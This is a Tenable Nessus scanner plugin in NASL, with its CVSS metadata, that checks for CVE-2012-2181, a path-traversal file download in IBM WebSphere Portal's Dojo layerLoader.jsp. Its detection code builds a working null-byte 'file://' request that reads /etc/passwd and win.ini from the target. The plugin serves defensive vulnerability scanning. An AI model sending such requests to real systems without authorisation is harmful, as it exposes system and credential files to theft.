CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:N/A:N
EPSS
Percentile
66.2%
The version of WebSphere Portal on the remote host is using a vulnerable version of the Dojo toolkit. Input to the ‘path’ parameter of layerLoader.jsp is not properly validated. A remote, unauthenticated attacker could exploit this to download arbitrary files.
#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#
include('deprecated_nasl_level.inc');
include('compat.inc');
if (description)
{
script_id(61488);
script_version("1.9");
script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");
script_cve_id("CVE-2012-2181");
script_bugtraq_id(54349);
script_name(english:"IBM WebSphere Portal Dojo Module URI Traversal Arbitrary File Access");
script_summary(english:"Tries to download a file outside the webroot");
script_set_attribute(attribute:"synopsis", value:
"An application hosted on the remote web server has an arbitrary file
download vulnerability.");
script_set_attribute(attribute:"description", value:
"The version of WebSphere Portal on the remote host is using a
vulnerable version of the Dojo toolkit. Input to the 'path' parameter
of layerLoader.jsp is not properly validated. A remote,
unauthenticated attacker could exploit this to download arbitrary
files.");
# https://www-304.ibm.com/connections/blogs/PSIRT/entry/security_update_url_manipulation_vulnerability_in_ibm_websphere_portal_versions?lang=en_us
script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?b229aef1");
script_set_attribute(attribute:"see_also", value:"http://www-01.ibm.com/support/docview.wss?uid=swg21598363");
script_set_attribute(attribute:"solution", value:
"IBM has published APAR PM64172 to fix this vulnerability. This is
included in WebSphere Portal 7.0.0.1 Cumulative Fix 19 / 7.0.0.2
Cumulative Fix 19 / 8.0 Cumulative Fix 3 and higher. Refer to IBM's
advisory for more information.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");
script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
script_set_attribute(attribute:"cvss_score_source", value:"CVE-2012-2181");
script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
script_set_attribute(attribute:"exploit_available", value:"false");
script_set_attribute(attribute:"vuln_publication_date", value:"2012/06/22");
script_set_attribute(attribute:"patch_publication_date", value:"2012/06/22");
script_set_attribute(attribute:"plugin_publication_date", value:"2012/08/10");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe", value:"cpe:/a:ibm:websphere_portal");
script_end_attributes();
script_category(ACT_ATTACK);
script_family(english:"CGI abuses");
script_copyright(english:"This script is Copyright (C) 2012-2021 and is owned by Tenable, Inc. or an Affiliate thereof.");
script_dependencies("http_version.nasl", "os_fingerprint.nasl");
script_exclude_keys("Settings/disable_cgi_scanning");
script_require_ports("Services/www", 10039);
exit(0);
}
include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("data_protection.inc");
port = get_http_port(default:10039);
requests = make_array();
if (report_paranoia < 2 && os = get_kb_item('Host/OS'))
{
if ('Windows' >< os)
{
requests['/windows/win.ini'] = '(; for 16-bit app support|\\[MCI Extensions.BAK\\])';
requests['/winnt/win.ini'] = '(; for 16-bit app support|\\[MCI Extensions.BAK\\])';
}
else
requests['/etc/passwd'] = 'root:.*:0:[01]:';
}
else
{
requests['/windows/win.ini'] = '(; for 16-bit app support|\\[MCI Extensions.BAK\\])';
requests['/winnt/win.ini'] = '(; for 16-bit app support|\\[MCI Extensions.BAK\\])';
requests['/etc/passwd'] = 'root:.*:0:[01]:';
}
# the first dir was the default dir in version 8, i've seen the latter dir
# show up in online documentation for using dojo w/portal
dirs = make_list('/wps/portal_dojo', '/portal_dojo');
file_not_found = FALSE; # the software appears vulnerable, but the file requested does not exist
vuln = FALSE;
poc_url = NULL;
foreach file (keys(requests))
{
pattern = requests[file];
foreach dir (dirs)
{
url = dir + '/layerLoader.jsp?path=file://' + file + '%00';
# avoid making unnecessary requests. if a previous PoC attempt demonstrated
# the software is vulnerable but wasn't successful in downloading a file,
# only continue making requests to the same directory
if (poc_url && poc_url !~ '^' + dir) continue;
res = http_send_recv3(method:'GET', item:url, port:port, exit_on_fail:TRUE, fetch404:TRUE);
if (res[2] =~ pattern)
{
vuln = TRUE;
file_not_found = FALSE;
poc_url = url;
break;
}
else if ('Problem accessing the absolute URL "file://' + file >< res[2])
{
file_not_found = TRUE;
poc_url = url;
}
}
if (vuln)
break;
}
if (isnull(poc_url))
audit(AUDIT_LISTEN_NOT_VULN, 'web server', port);
if (report_verbosity > 0)
{
if (file_not_found)
{
trailer =
'The file Nessus attempted to download does not exist on the system,\n' +
'but the vulnerability was still detected due to the resulting error message.';
}
else
{
res[2] = data_protection::redact_etc_passwd(output:res[2]);
header = 'Nessus downloaded ' + file + ' by requesting';
if (report_verbosity > 1)
trailer = 'Which returned the following file contents :\n\n' + chomp(res[2]);
}
report = get_vuln_report(items:poc_url, port:port, header:header, trailer:trailer);
security_warning(port:port, extra:report);
}
else security_warning(port);